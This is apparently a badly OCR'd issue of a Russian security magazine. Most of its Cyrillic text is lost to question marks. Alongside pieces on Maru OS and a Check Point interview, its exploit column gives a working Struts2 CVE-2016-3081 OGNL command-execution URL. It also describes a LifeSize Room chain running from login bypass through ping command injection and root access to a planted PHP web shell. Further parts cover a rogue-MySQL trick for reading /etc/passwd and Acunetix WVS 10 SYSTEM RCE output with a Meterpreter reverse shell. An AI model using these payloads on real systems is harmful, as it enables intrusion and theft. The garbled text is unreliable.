?????????? ?????? ???????, ????? ?????? ???????? ????????? ????????,
?а???, ??? ???? ??????? ?????? VNC, ?? ??а??????? ???????????? ?????? ?????????? ???, ????????, ???????? ??а??????,а? ???а??????? ??????? ??????????
???????? ????????? ?а??а?????? ?????????, ?а??а????????. Maru ?? ?????????
???????????? ??? ?????????? ?????????? ???? ??а?????. ?????????? ????????
??а?????? ??????? ????? ???????? ??а????? ?????? ?????? ?а????? ???????????? ?????????? Android. ?? ?????? ???????? ?аDebian ?а???а???? ???????,
?????? ???а?а?????? ???, ???а???? ?? ?????? ???????????? ????????.
??? ??а????? ???????? ??? ???????, ??????? ????? ??????. ????????,
?аDebian ???? ??а???????? ?????????? ?????????, ??????? ???? ???-?? ?????
?????? ?а??????????? ???? ???????а? ? ???? ?????? ???.
???? ?? ???????? ????????????? Debian ?а???????????? ?аNexus
5 ??????
???, ??????? ??????? ??????. ??????????? ??????? ???????? ??а???? Nexus 5;
??????? ????????????? Linux ??а??, ??? ??????? ???? ????????? ?????????????
?а???????????.
???????? ??а?????????? ??????????? ?????????, ?а???????? ??
?????????? ??а???? ?????????? Maru.
??????? ???? ????????????? ?????. ? ??а????? ?????? ?????????? ?аLinux
?аAndroid ?а?????? ?а2013 ???? ???? ?????????? ??????? ??? ???????. ??а??? ????
????????????? ????? ???????, ??а??? ?????????? ???? ??????? ????? ???,
???а?????? ?????????? ???? ???? ?а?????. ???а?????????? ? ????????? ??????? ?а????? ?а??????? ??? ???????, ????? ?а????? ??????????? ?а????? ???????.
??????? ???? ???????, ??? ? ??? ?? ???????? ?а??? ?????, ??????? ???????????
?????? ??а????? ?????????????.
????? ??????? ??????? ???? ????????? ???????? ??????? ???????????? ?аAndroid ?а?аLinux. ?????? ?????????? ???????? ??а???? LXC ? ??????
???аSamsung Galaxy Nexus. ??? ??????? ????????? Debian ?а?????????? ?????????? ?а???????????? ?а????, ????????? VNC. ?а???? ???а???? ??? ???? ??????? ??????????, ? ????, ??? ????? ????? ??????? ??а???????? ???????????? ???
??????? ????????????. ?а???????, Galaxy Nexus ??????????? ??аTI OMAP4460,
????? ???????? ?а??????????? ??????? ???а????????? ?????????. ??? ??? ?
???????? ??? ???????????? ??а???????, ????? ??? ??????? ?????, ?а?????????? ???????? ??????????? ?????????? ?а??????? sysfs (??????????????
??????? ???? Linux, ?а??????? ??????? ????? ?????? ?????????????? ?????????? ?а??????.а? ????. ???.).
?а?????????? ? ???? ????? ?????? ??????????????????? ?????????? ??????? ???, ????? ????????? HDMI-???? ?а??????????? framebuffer device (fbdevа?
??????? ???? Linux, ??????????? ???????? ???????? ?а????????????.а? ????.
???.), ?????? ??а?????? ??? Android. ????? ?????????? ?????? ???????? ?????????? ?????????? ??????? ?а????????? ?????????? ?????????? ???аHDMI.
??а????? ???? ????? ??а???????????? ???????? ??аNexus 5, ? ????? ?????????? ?а??????????. ???????????? ??аQualcomm Snapdragon 800 ??а????
???????, ?а?????????? ??????? ??????????? ?????? ?????? ????? ????????
???????????? ???????? ?аfbdev. ????? ???? ?????? ??????????? ??????? ??????????????????? ?????????? ??? ????? ???????, ??? ????? ?????? ??а?????
????????. ????? ???? ???? ?????? ?????? ?????, ??????? ?? ??а??????? ??а????????????? ?а????????? ??????. ??? ? ?????? ?а??? ??????????? ???????????? ?????, ??????? ???????????? ?аMaru ?????? (? ?????????, ????? ????????
????????? ??а?????? ??а?????? ?а???, ???а?????? ??? ????????.а? ????. ???.).
???? ?? ???????? ?а????????, ??а????????? ?а????????, ?? ?????? ?????
??????? ???????? ?а???, ????? ????????? Android ?аDebian ???????? ???а??????????. ????? ???? ?????????? ???, ????????? ?а?????????? ?????: ?????
(????????, YouTube) ??????????? ???????? ?а?? ?????, ???? ???????? Debian,
??, ???а?????? ????????? ??????????, ????? ???????? ????????????????. ????? ?????? ?????, ??????????? ?а???????? ???????? ??????? ?????? ?????????
?????????, ? ????? ????????. ??? ???? ??????? ????? ????????? Snapdragon,
??????? ??????????? ???????? firmware ?а??????????? ??????????? ????????
????? ?а???? Linux ???а?????? ????????? ?????. ??а?????? ???????? ?аAndroid
???????? ????? ueventd, ?????? Debian (? ??????, ??? ????? udevd) ??????????
??а?????? ???????? firmware ??????, ??? ??? ??аueventd ?????? ??а??????? ?а??????? ??? ?а??а?????????? ?а????. ??????? ???????? ???? ???????а? ????????? udevd ??????????? ??а??????? ???????? firmware.
????????, ??? Maru ?????? ??а??????? ??а?????????? ??????, ?????
?? ????? ??а?????? ???????????
???????, ???????????? ?????????? Maru ?а?????????? ??а?????? ?????а? ???
????????? HDMI, ?а?????? ????? ??а?????????? HDMI-over-USB: SlimPort ???
MHL. ?????? ?а???? ???? ?????? ?????? ?аNexus 5 ?а5X, ??, ???? ???-?? ????????????? ?а???????????? Maru ??а?????? ??????????, ?? ????? ????????? ??а????.
??? ???? ????, ???????? ????????? ???? ??а????????? Sony, Samsung, ASUS
?аNexus.
?K, ??а???????? ?? ????? ????? ?????? ?а????????? ????. ?? ????????, ??? Maruа? ??? open source ??????, ??а????? ????? ????????
??????????
Maru ????????? ?а?????? ?????????? ?а???????? ???????? ???????. ???? ????????? ?????? ?????, ?????????? ????? ????????? ???????, ??????? ???
??а?????????. ?????? ???? ??????????? ??а???? ?а?????????? ??????? ??????????? Maru ??а???? ??????????, ?а? ?????? ???? ??????, ??? ??? ?????? ?????? ??????????? ?а???????? ????, ?а??? ??????? ???????????? ???а??? ?????
??????. ? ??а????? ?????? ???????? ?????????? ??????, ??а???? ???????, ??? ?
??????? ??? ????????? ?????????? ???? ???? ????? ?а??а???? ?????????, ?????
?а??????? ?????? ?????????????? ?????? ????.
??????? ??а?????? ?а????? ?а???????? ???????.
??????? ??а??????????? ???????. ??????? ??а????????????.
??????????
?????? ????????? ????? ??????????. ?????а? ????? ???????????????? ??????? ?а?????????? ???????? ??а??? ??????? ???а?аemail, ??? ?а?а???????? ??????
???а????-????????. ?а???? ??? ???? ????? ????? ???? ???а??????????, ?а???
????? ???????????? ??????????????. ????? ??? ?????? ?????-????????????
???????? ??а???? Android 6.0, ?????????? ????????? ?а???????? ?а???? ??????
Debian ???а????????????? ?????????? ???????? ?а????????. ????? ???????
??а?????????.
?????
WARNING
??? ?????????? ????????????? ????????????? ????????????????? ?????.
????, ???????????? ?????? ?????????? ? ??????????????? ?????, ?????
???? ?????????? ?а???????????????.
EASY
HACK
aLLy, ONSEC,
@iamsecurity
?????? ?????? ????? ?????? MYSQL
???? ??????. ???а????? ?? ??????????? ??а??????? ????????????????? MySQL?
????? ?а? ?????????. ?? Adminer ?????????, ?? ???????? Sypex dumper ??????????? ??а?????????. ???, ????? ????, ???? ??????? ??????, ??????? ?????
????????????? ?????? ??а????????? ??? ?а?????, ???? ?а???? ???? ??????????? ???????? ??а?????????? ?а?????? ??????? MySQL, ?? ??????, ??? ?а????
?а??????? ???а??????? ??????? ??????.
???????, ?а??????? ? ???? ?????? ??????????,а? ??? ??????????? ????????? MySQL. ??????? ??????? ??, ??? ?????????, ????? ??а?????????.
????? ??, ???????????? ???? ???? ????????? ?а??????? ?а2013 ????.
?аMySQL ???? ??????????? LOAD DATA LOCAL INFILE 'filename',
?а??????? ??????? ????? ????????????? ?а??????? ????????? (??????????) ?????. ??? ????? ??????????, ???а?? ??? ???????? ??а????????
??????. ???а????? ? ?????????? tcpdump???, ????? ????? ?? ???????,
?аWireshark???, ????? ????? ?? ??????. ????????????? ?а????????? MySQL,
???????? ??????? LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE
test FIELDS TERMINATED BY '\n';, ????????? ????????? ??????? ?
??????? ?????????? ?а????????.
?????? ??? ???????? ??аWireshark. ??????????? ?а?????? ????????
??????? ?а????? ???????? ?а?????? ?а????????, ?????? ?а?????? ??а???????
??а????:
0000
0c 00 00 01 fb 2f 65 74 63 2f 70 61 73 73 77 64
../etc/passwd
??! ????????? ??????? ?????? ?????????? ?????????? ????? /etc/passwd.
?????????? ???, ??? ?????? ?????? ??????? ???????: л0xFB ??????-?? ? ?????
???а????, ????? ??????? ?????????? %filename%╗. ?а?????? ???????? ????????? ???????.
??????? ??????? ??а????????? ????? ??а???????
?а???? ?а???? ???? л??????????╗. ??? ????? ??????? ???????? MySQL-??????,
??????? ?? ????????????? ???????, ????????? ????? FB ?а???????????? ?????? ????? ?а??????? ????? ??а???????.
???????? ??? ?????? ??????? ?????? ????? ?а???? GitHub. ??? ????
??????? ??аGifts (?? ??? ??? ???????? ???????), ?????????? ??? ??????????? ?????? MySQL. ?а????????? ????? ??????? ???? ??а?????, ???????
????? ?????????, ?а???? ????-???????.
?????? ????????? ???? ?аPHP ?а???????? ???а?????? ?аMySQLа? mysqlnd.
???? ???????????? ????? ???????, ?а?? ??а????????? ???????????? ?аPHP
5.4, ?? ???а?????? ?????? ????? ????????? ???????? PHP. ?а??????? ???????? ???????????? ?а????? ??????????? SSRF.
????????????? ???????? base64-encode ???а??????
???? ?а?????????? ???а?????? ?а?? ???????????? PDO, ?? ????, ?а?????????,
??а????????. ?а??? ??а????????? ????????? ?????????? LOAD DATA LOCAL
INFILE.
???? ?????????? ???????? ??аPython ?а?а???????? ??????? ?????????
?????? MySQLdb, ?? ?????? ?????? ????? ??????????, ???? ???а?????????? ??а?????? ???????? local_infile. ?????? ???а????????????? mysql.
connector ??? ???????? ?????????.
?????? ????? ?а??????? Adminer
????? ????? ????????, ??? ??? ????????? ????????? ?а???аMariaDB, ??? ???
????????? ??????? ?а?????? ?????? ?????????.
?? ??? ?а??? ??а???????. ???????? ??? ????, ???????? ?????????? ??а????? ??????????. ????? ??????? ???????!
?????
????? ?????,
ZORSecurity
b.ryutin@tzor.ru
@dukebarman
dukebarman.pro
WARNING
??? ??????????
????????????? ????????????? ????????????????? ?????.
??а????????, ??а?????
??а????? ??????????????? ??а????? ????????? ????, ???????????
??????????? ??????
??????.
?????
??????????
?????? ????? ???????????
?а??????????? ?????? ?? ?????????????? ?????????? ?а??????????
Apache Struts, ????????? ???????, ????????, ???????????, ?а?????
???????? ?????? ?а?????????? ??????? Acunetix, ??? ????????????
???а?а????? ???????, ??? ?а?а?????? ??????? ][.
????????? ?????????? ???? ?аSTRUTS2
CVSSv2:
N/A
???? ??????: 26 ?????? 2016 ????
?????: Nike Zheng, NSFOCUS
CVE: CVE-2016-3081
21 ?????? 2016 ???? ???????????? Struts2 ???????????? ????????? CVE, ????
??а???, CVE-2016-3081, ????? ???????? ??????? ???????. ????????? ??????????? ?а???????? ???????????? ??????, ??????? ????????? ????? ????????????
???а?????????? ????? ???? л????????? ?????????? ????╗.
???а???????????? ?????????? ?????????? ?а??????????? ?????? ???? ??????????, ??? ????????? ?????? ???? DefaultActionMapper.java.
???? ???аDefaultActionMapper.java
?? ?????? ??????, ??? ????????? ????? ????? cleanupActionName ???а?????????? ???????? ??????????. ????? ????? ????????? ????????????? ??????????? ??????????? ????????. ?????? ?????????, ?????????? ??а?????????,
???? ????????? ????????? OGNL ?аinvokeAction ??аDefaultAction.java:
????????, ???? ?????? ???????? methodName ?а?????? getValue() ?а?? ??????, ??? ?? ??????,а? ????????? ?а??? ?????????? ???? ?аStruts. ???? ?????? ?????????? ???????? ???? ??????, ??а?????????? ??????. ???? ??????????? ???
???а??????, ??????? ???? ????? 2.3.18.
??? ???????????? ????????? (reflection), ??????? ?а????????? ???????? ???????????? ??????????. ?, ???а????? ????? ?????????, ???? CVE ???????? ???????????? ??????? ??????? ?????????.
EXPLOIT
????????? ???? ?а???? ??????. ???? ??а??? ????????? ????: ???а?????????? ????????? ?а??????? ????? ??????? ?????????? ?????????. ?????? ?????????? ????? ?а??????? ????????, ??????? ???????? ?????????, ??? ????????? ????????????? ??????? ?а??????? ???????, ??????? ????? ?????? ???????? ???????.
???а????????? ?а??????? ?? ?????? ???????????? ???????? new java.
lang.String, ??????? ????? ??????? ?аnew java.lang.String() ?а???????????? ?а?????????? ??????????? OGNL.
?а?????? ?а?????????? ??????????? ????????, ?? ???? ???????? ??а????????????? ???????, ?? ?????? ????????? ????????? ????? ???????? ?????????? ???а???????? ??????. ?а???????, ???????????? parameters.cmd ?а???????? cmd ?аHTTP-???????. ???? ??????????? PoC, ??????? ????????? ?????????
???????? Gedit.
http://172.16.107.143:8080/Struts2_3_18/hello.action?cmd=gedit&
method:(%23_memberAccess).setExcludedClasses(@java.util.
Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackage
NamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23
parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd)
.start().getInputStream(),new java.lang.String
????????? ???????? ????????????а? ?????? ?????????? ????????? Gedit
???????????? ?????? ???????????? ??а?????????? ????????? ??????? drops.
wooyun.org.
?аMetasploit ????? ???????? ?????? ???а????????????? ????? ?а??????????? ???? ??????????.
msf > use exploit/multi/http/struts_dmi_exec
TARGETS
Struts 2.3.20а? Struts 2.3.28 (????? 2.3.20.3 ?а2.3.24.3).
SOLUTION
????????????? ???????? ???????????, ????? ????? ????????? Dynamic Method
Invocation.
LIFESIZE ROOMа? ????????? ?????????? ????
?а????????? ??????????
CVSSv2:
N/A
???? ??????: 25 ?????? 2016 ????
?????: d3vil401
N/A
CVE: LifeSizeа? ??? ??а???а?????????? VoIP-??????? ????? ??????????? ???-????????? ??аFlash. ?а??????? ?????????? Shodan ????? ????? ??????????, ???????????? ???? ???????. ????? ???????? ????????? ?????????? ??а??????? ?????????? ?????? ??а?????? ??а??????, ?а??? ??????? ?????????. ?? ??а??????????
SIP-???????? ?а???????? ????? VoIP, ?а?????? ??????????????? ???-??????
?а?а?????????? ???? ???????? ????? ?????????????? ??а???????.
??а????? ??аBlack Hat ??? ???????? ?????? Hacking VoIP Exposed (pdf),
??????? ????? ??????????? ???? ?????????????????? ???? ?????. ????? ??
????? ??????? ?????????? ??? ??????? CVE-2011-2763, ??а???а??????? ????????????? ??? ??а?????????, ??? ???, ?????? ?????, ???? ?????????.
??а???????? ?а????? ???????????. ???а?????? ????? ??????, ???а???????
LifeSize.
1. ??а?????? 80/443 ??????? ???-?????? ?а??????????? ??аFlash.
2. ?????????? ??????????????? ?аgateway PHP file (?? ????????? AMF).
3. ?????? ???????? ???????, ????? ?????? л????????╗ gateway,а? ???????,
??? ?????? ????????.
4. ???? ??????? ?????????????? ????????.
?????????? AMF HTTP ??????, ????? ???? ?????? ???????? ?????????????? ?????? LifeSize.
EXPLOIT
?????? ?а?????? ??????????а? ?????? ??????? ??????????????.
????? ???????? ?????? SWF ?аXML ?а???????????? ?????? ?? ??????
HTTP-????? ??????????? ?а???????, ????????????? ?? ?? ???????? ?????????? ?????? ???а??????? ?а??????, ?а????? ????????? ????. ???а????? ???????????? ???? ???? ???? integerа? skipLogin. ???? ?????? ???? (autoLoginKey,
autoLoginKeyValidity, key) ??????? ??а?????, ??? ??? ??????????? ?????????????? ????? ??????, ?????????? ???? ???? ?????????? ?а , ?а??????? ??????
?а??????.
1
????? ??????? ?????????????? ?аLifeSize
????????? ??????????а? ?????????????? ????????? ?????? ??????????????. ??? ??????, ??????? ?????????? ?????, ??а???????? ???????? ?????? ?????????????? ??аSWF-????, ??а????? ???????????? ??????? ?? ?????????, ???
SWF-?????? ???????? ?????? ???????? ?????? ??????. ??????? ?? ??????????
??????????? ????? ?а???????? ??????. ??? ??а???????????? ?????? ?????????,
??? ???а???????????? ??????? ?а??????????????? ??????.
????????? ?????? ????? ?????????? ???? ?а????? ???????
????????? ?????? ????? ????????? ???? ?а????? ???????
?????а? ????????? ?????????? ????. ???а?????? ??????, ??? HTTP-??????,
??????? ???????? ?а???? ??????? ??а???????????? ?а??????????? ??а???????,
???????????, ??а????? ????? ???а????? ???????? ping.
??? ??????? ???????? ????????? ??????:
1. ?????????, ???????? ?? ??????.
2. ????????????? IP-????? ????.
3. ???????? ??????? ?????.
4. ????????? ?????????? ??????? ???а?????.
5. ?????????? ?????? ??????? ??аHTTP.
??????? ????? ?????, ??????????? ??? ????????? ??????????? ??????, ??????? ?? ??????? ?????????, ?????? ??? ???? ??????? ??а????????? ???????, ??
??????? ?????????? ????????? ??????, ?а??? ?? ????? ??????? ???????????
????? ?????????? ????? ??????.
?????? ????? ?а??????????? ????? ?????? ?аLifeSize
????? ??а?????? ????? ?????????? ????? ?????? ?аLifeSize
?? ?а???????? ???????????, ??????? ??а??? л????? ?а????????????╗. ?? ???????????? ????? ??????: ????????? ????????? ???? ?????????? ??????, ?????
?????? ??????? ?аvi ????? ????????, ?????? Apache 2 ?а???? ??????? ??а?????
????????, ??? ???а????? ??????? ?????????? ???????? vi.
??а???? ?а???????????? ???, ??, ????? ????????? ??????????? ?а???????,
???? ?????? ????????? ??????????, ??????? ?????????? ?а??, ??? ????? ??????? RCE ??? ????????? :).
??а????????? ?аOpenBSD ?а??? ???? ??? ????????: root, admin ?аcli.
? rootа? ?а????? ???????? ????? ???????? ?????? ?????? ????????? LifeSize,
??????? ???????? ???????????? ????? SSH ?а??????? RSA-?????. ?? ????????? ?а/var/root/ ?а??????? ???????. ??????? ??????, ?????, ??? ??????
RSA-????, ??а?????????? ???????, ???????? ???????? ????? ?????????????? ??а???????.
? a
dminа? ??? ??????? ?????????????? ???а???????. ????? ??а???? ?????? ?????????????? ?????????? ?а???, ?а???????????? ???? ???????? ?????? ?а????
?????? ?а/etc/shadowа? ??? ??????? ??а??????? RSA-????? root-????????, ???
??? ???? ??? ??? ????????.
? cliа? ??? ??????? ?????? ???????????? ?а????????? admin, ?а???????????а?
???а?????????? ??????? ?????????????????? ??????. ?????? ????? ???? ??????????? ?а?????????, ?а??? ???????? ??????? ????????? ????????? ???????
??а????????? ??????. ??а?а????? ?????? ??? ?????????????? ??????? ?а???????????? ?????????????? ????? SSH ?аTelnet, ????? ??????а? ??? ???????
?????????? coroner.
??а????????? ?а??? ???????????: Apache 2, Lua 5.1 (??? ??????????????
?а???????? ???????? LifeSize), PHP ?аBusyBox. ????????? RCE, ?? ????????
???????? ????????? ????? ?а???????? ???????????? Apache, ??а??? ????? ????? ????????? ??????а? ???? ?? ????????? ??????, ?а????? ????? ?? ????? ???????? ?а???? PHP-?????. ?а??? ??? ????? ????-?? ????????.
?? ??а????? ?????? ?а?????????? /usr/local/lifesize/gui/www/
htdocs/, ??? ????????? ??? PHP-?????, ??а????? ??????? ??????????? ??????
??. ????????? ????? ???? ??????? ???????? ??????, ?а??????? ?????????????? ?а???? ?????? ??? ???????? ???????, crossdomain.xml ?а??????, ?????
?????????? ????. ???????-?? ???????? ?????????? ?а??????????? ?????????? ??????а? gateway ???????? ?? ?а??????? shell_exec ???а?????-????
??????????.
???? ?????????, ?????? ???????????? (txt) ?а?????????? ????? /usr/
local/lifesize/gui/www/htdocs/services/LSRoom_Remoting.php ??а????? ??????
?????????.
??а???а?? ???-???? ?????????? ??????? ????? ????????? ???????????? wget
?аnc ??аBusyBox, ??а??? ????????????? ?????????, ??? ???????? ??а??????
?а????????????? ????? ??а????? Apache. ??а????? ??????? ?????????? htdocs
??? ?????? ?????????? ????.
-
API
autosh_cmd.php
core
crossdomain.xml
css
data
gateway.php
globals.php
images
includes
index.php
index.swf
interface
js
reopen.php
scripts
services
snap
support <--tmp
xmlrpc.php
???? ??????? ???????? ???а??????????????? ?????????? ?????? ?а????????? ?????? ????? ?????????? ?????. ?????? ????? ???а? ??? ??????????? ???????
TCP, ????????? ??????? Advanced: ??????? ??, ?? ????? ????????????? ???
?????? ?????? ????. ????? ?? ???????? ????? ??????? ?а??, ??? ????? ??а??????,
??? ???????? ????????? ???? ??????.
??а???????? ??????????? ???? ???????? ????? ??? ????????? coroner.
??? ??????? ???а????????, ??????? ??????? ????????? ??????? whoami, ?а?????????а? root. ?а??? ??? ????? ?????????, ??? ???а????? ?а????? ??а?????
???????? ?????? ?а???? ??а???????, ????? ???? ???????. ??????? ?а???????
hexdump ???? ???? ?а/var/local/lifesize/bin/coroner, ????? ?????????,
??? ??? bash-??????, ?????????? ???? ?????????????? ????????? RSA-??????
???а?????????????? ????? SSH ?а??????? root. ???????????????? ???, ?? ??????? ???????? ?????????????? ??а??????????.
??????, ???? ????? ??????? ????? ???????, ?? ?????? ??????? ?????????
?????? ??а??????. ??а???? ?а??? ????? root, ?? ?? ??а????? ???????? ?????????? htdocs. ??????? ??? ?????? ???????? ????а? ??????? ?????????? ??????
??а/data/home/apache/tmp, ???? ???????????? Apache ????? ??????????? ??????. ?а??????? ????? ????? ???????? ?????? ??а????????? ??????:
https://xxx.xxx.xxx.xxx/support/tmp/backdoor.php
????? ???????, ?а??? ???? ???? ????? ??а?????????? ?а???????? ??.
1. ?а????????? AMF ?????? ???? skipLogin ??а1.
2. ?а????????? AMF ????????? ???? ??????? ?а??????? ping.
3. ??????????? ????????? ????? ??????? ?аSSH ??а/var/local/lifesize/
bin/coroner.
4. ???????? ?????? ?а??????? ?а??????? root.
5. ?????????? ?????? ??аPHP ?а/data/home/apache/tmp/.
6. ???????? ?????? ???????????? cli ??? ??????? .htaccess ?а../htdocs/
support.
7. ???????? ?????? ?а??????? ?а????? ?????!
??????? ?????? ????????? ????? ?????? ?а???????????? ?а???????????? ??????
?а??? ?????.
SOLUTION
??а???????????? ??а?????? ????????? ?????? ??а???? ????????. ????? ??????????? ????????? ????????? ?????? ?????????????? ????? SSH ?, ????????, ??????? ??????? ?????????? coronerz, ????, ???????, ??? ???? ????? ??а????? :).
????????? ?????????? ???? ?аACUNETIX WVS 10
CVSSv2:
N/A
???? ??????: 2 ??? 2016 ????
?????: Daniele Linguaglossa
CVE: N/A
?а????? ?? ?????????? ?????????? ?ал?????????╗ ??а? Acunetix. ?а??? ????????? ??а?????? ?????? ??????????? ?????? ???? ?????????? ??????, ???????
????????? ????????? ??????? ?а??????? SYSTEM.
?????? ?????????? ??????? ?а?????????? ????????? HTML ?????? ???????????? ??????????. ?? ?????????? jscript.dll ???а?????-???? ????????
??а???????????? ??????? ActiveXа? ?а???????, WScript.Shell. ???? ?? ?????
???????????? ???а?????? Acunetix ??????????? ??????????, ?? ?? ???????? ???????? HTML ?а?????????? ??????????. ????? ???????, ????? ??????? ?????? ?????????? ???а??????? ?а???????? ??? ??аJavaScript, ??????? ????????
???????.
????????? ?????? ????????? ?а???????????? Acunetix scheduler. ?? ????????? ????????????????? ???????????? ?????? ???а??????-???? ?????????????? ?а?????????????, ?а????????????? ????? ????? ???-?????????
??а?????? 127.0.0.1:8183.
????? ???????? ????????????? Acunetix ???????? ????????? ?????, ????????? ??? ?а?????????? C:\ProgramData\Acunetix WVS 10\Data\Scripts.
?аWindows ???? ?????????? ??????? icacls, ??????? ?????????? ???????
л??????╗ ???? ???????. ?а?? ??????? ????? ????????????, ?а??? ????? ?????,
????? ???????? ????????? ???????? ?????? ???????????? (??? ????? ????????? ?а?????????? ?????????? ?аjscript.dll):
C:\ProgramData\Acunetix WVS 10\Data>icacls Scripts
Scripts Everyone:(OI)(CI)(M)
Everyone:(I)(OI)(CI)(M)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA) <---- UNSAFE [3]
EXPLOIT
????????? ??? ??? ??????, ????? ??????? ???????? ??а????? Python ???а??????????? RCE-?????. ?а??? ???????????? ????????? ???????? ????????:
? Meterpreter;
? ???????? ?а?????? exe;
? ?????? ??????? CMD.
???? ??????????? ?????? ???????.
$ acu0day.py 9999 172.16.24.1
Acunetix WVS 10 - SYSTEM Remote Command Execution
(Daniele Linguaglossa)
Payload: Meterpreter reverse TCP 4444
Exploit started on port *:9999
[+] Waiting for scanner...
...
[*] Triggering EXPLOIT_STAGE_2 sending (5068) bytes !
[*] Sleeping 1 minutes to elevate privileges...ZzZz
[!] Stopping server !
[!] Exploit successful wait for session!
????? ????????? ??а????? ?????? ?????? ???а???????? ?????????? ??а????????? ???????:
msf exploit(handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 172.16.24.192
[*] Meterpreter session 1 opened
(172.16.24.1:4444 -> 172.16.24.192:51782) at 2016-05-02 15:02:31 +0200
meterpreter >
????????? ????????? ???????????? ??аGitHub, ?а???????????????? ????? ????
??аYouTube ??????.
TARGETS
Acunetix WVS 10.
SOLUTION
????????????? ???????? ???????????.
?????
?????
?????????
?????? ??????????
??а?????????
????? ????????????? ?????????
??????? CHECK POINT ?????? ??????
???????????? ?а????? ?а?????? ???????
??а???????????? ?а??????????? ???????? ????????? ??а?????????? HackingTeam: ?а?????? ???????? ??????? ??????????
???????????? ????????????? ?а??????????? ?а???а???????? ????????? ???????? ??????????.
??а??????????? CPX 2016 ??? ??????? ?????????? ?а???????? ????????,
??????? ????????? ?????????????? ????????? ??????? Check Point. ??????а? ???????????? ???????? Lacoon Mobile Security, ??????? ??????? ???
????? Check Point ?а2015 ????. ?????? ?а??? ???? ??????????? ?а???????????
?????????? ?????????????? ?????, ????????? ?????? ???аCheck Point Mobile
Threat Prevention. ???????? ??а??????? ???????, ?????? ??а??????? ??-??????: ??? ???????? ???????????? ??а???????, ????? ??? ???? ??? ????. ?????? ???????? ?а????? ?????? ????????? ????????? ?а2001 ???? ?а???????????? ???????? ??аBlack Hat.
? ?? ????? ?????????? ?а???????? ????. ??а??? ?? ?? ??????? ????????
??а?????? ???????????? ?а?????????? ?а???, ???а??????? Check Point ???????? ??а????
? ?а????? ?????? ???????? ???? ???????? ?а?????????? ???????????? ??????.
?? ?????, ??? ????? ???????????????? ?????? ???????а? ??? ??????????.
?а?????? ?аAndroid ??? ?????? ????????? ????????: ???? ?????? ?????????? ??а???????, ?????????? ????? ????????? ???????. ???? ??????? ???????? ?????????? ?а????????, ?????? ????? ?????????? ?а??? ???????, ????????
?????? ?а???? ??????????????? ????????? ??????????а? ?а???????, ??????????, ????? ????????? ?????????? ?????????. ??? ???????? ???, ???а???
???????? ?????? ??????????? ?а?аApple. ??а????????? ??????? ?? ?????? ????? ??а?????????? Apple ?а?????????????? ??????????.
?? ??????? ??а??????????? ???а???????????, ??????
? ?????. ???????? ?а???????????? ???????? ??? ?????? ?????. ???а??????
????? ?????? iOS ?????? ??????????а? ?а??? ???? ?????? ???, ??????? ??????? ??? ???????? ??а??? ?????? (?????? ??а30 ??а180). ??а???? ??а?а???????????. ?? ????????? ??????? ?? ?????? ????? ????, ? ?????? ??????? ?????????? ?????? ??? ???????????. ???? ?? ???????????? ? ????? ????????
????????????, ??????? ? Apple ????????????? ?????????. ?а????????? ???
?аApple ????????? ???????????? ??? ?а??????? ?????????????а? ????????
??? ??: ?? ????????? ???????????? ??????????, ??????????? ????????? ?а??????? ?????????? ?а????? ????????, ????? ??????? ?????????? ?????????
???а?????????? ?аApp Store. ??? ????? ??????? ?????????.
?а??? ?? ????????? ??? ??? ???? ????, ?а?????? ??????? ??????? ???????
????????? ?аApp Store. XcodeGhost ?а???? ??а???, ?а????? ????? ???? ???
????: ??????? ??????? ?????????? ?????????? ???????, ?????????? ???????? ???а????????? ????????? ????????. ?????????, ??? ??????? ???????????? ????? ??????? ??а??, ??? ??????????? ???а????????????? ?аGoogle Play.
?а?????, ?????????? ?а??? ????? ???????????????? ?????? ????????????? ??а?????? ??????, ?а?а???? ???? ?????: ????????? ?????????? ??????
???????? ??а??? ?? ????? ????????, ??? ?а??а?а???????????? ????. ????? ????? ??а????? ?????????? ?????????? ?а???? ?????? ????????? ???????????
???? ?а????????: л??????????, ?????? ???╗.
?? ???? ????? ????????? ????? ????? ???????????? ???????????
? ??, ?????? ?????????? ????????? ??а????????? ??????????? ???? ?????
??????, ??? ?????? ??а????????? ???? ???????????? ????-?? ????????. ???
????? ?????? ????? ?????????? ?а??????? ?а??? ??????? ??? ??? ?????.
??а?а?? ?? ????? ???????? ???????? ?а??? ????? ?????????? ?????????? ??а??? ???????.
? ??? ??????. ?аiOS, ?аAndroid, ?аWindows Phoneа? ???????? ??????????
???????????? ??????? ??а??? ?????, ??????? ?????????? ?а??? ??а?? ?????
??????????. ??а?а???????? ????? ????? ?????? ?????а? ??? ??а????????? ???
???????????? ???????, ?а???????. ??а??? ???, ???? ????? ???????? ????????
?а??????? ??? ???-?????? ??????????, ????? ?а???????? ?????.
?а?а?????? ???????, ???????? ?а????????? ????????? ????: ??? ??????????, ??????? ????? ????????? ?????????, ??? ?????? ?а?????, ?а??? ???? ??????
??????????, ?? ?????????? ?а????? ?????? ???????????? ?????, ?а?????
???????? ??а?????? ?а?????????? ?а????????????? ????.
? ?? ???????? ????? ??? ?????? ????. ?????? ?????? ????? ?????????? ?а
??? ????. ????? ?? ????????????? ?а?????? ?а???? ??? ?а?????????, ??? ????
????? ????????? ??????????????????? ?а????? ????? ???????? ????? ????
man in the middle. ???, ????? ????, ??????? ????? ?????????? ?????, ??????
??? ????? ?????????? ?а???????????????? ???????? ??а??????. ?а??? ???????
???????? ???????? ?????????. ????????, ?а?????? ?а??????????? ?????? ???????? ??а4?5 ????????? ????????? ??а???? ?????. ?? ?а?????? Wi-Fi, ??? ????? ?????? ?а???а?????? ??????? ????. ????? ?????? ?а????????????, ?а??????? ????????? ????????? ??????? ???????, ?а????????????? ??????.
????????? ?? ????? ?а???????? ??????
? ?а??. ????????????? ????????? ?????????? ???? ????? ???а????????. ??
?а?а???????????? ???????? ?? ???? ????? ???????????. ?а???? ???????,
??????, ??????? ????????? ????????? ?????????? ?????. ?а???а???????
????????? ????? ????, ??? ??? ??? ??????? ?????????? ???? ??????? ?????.
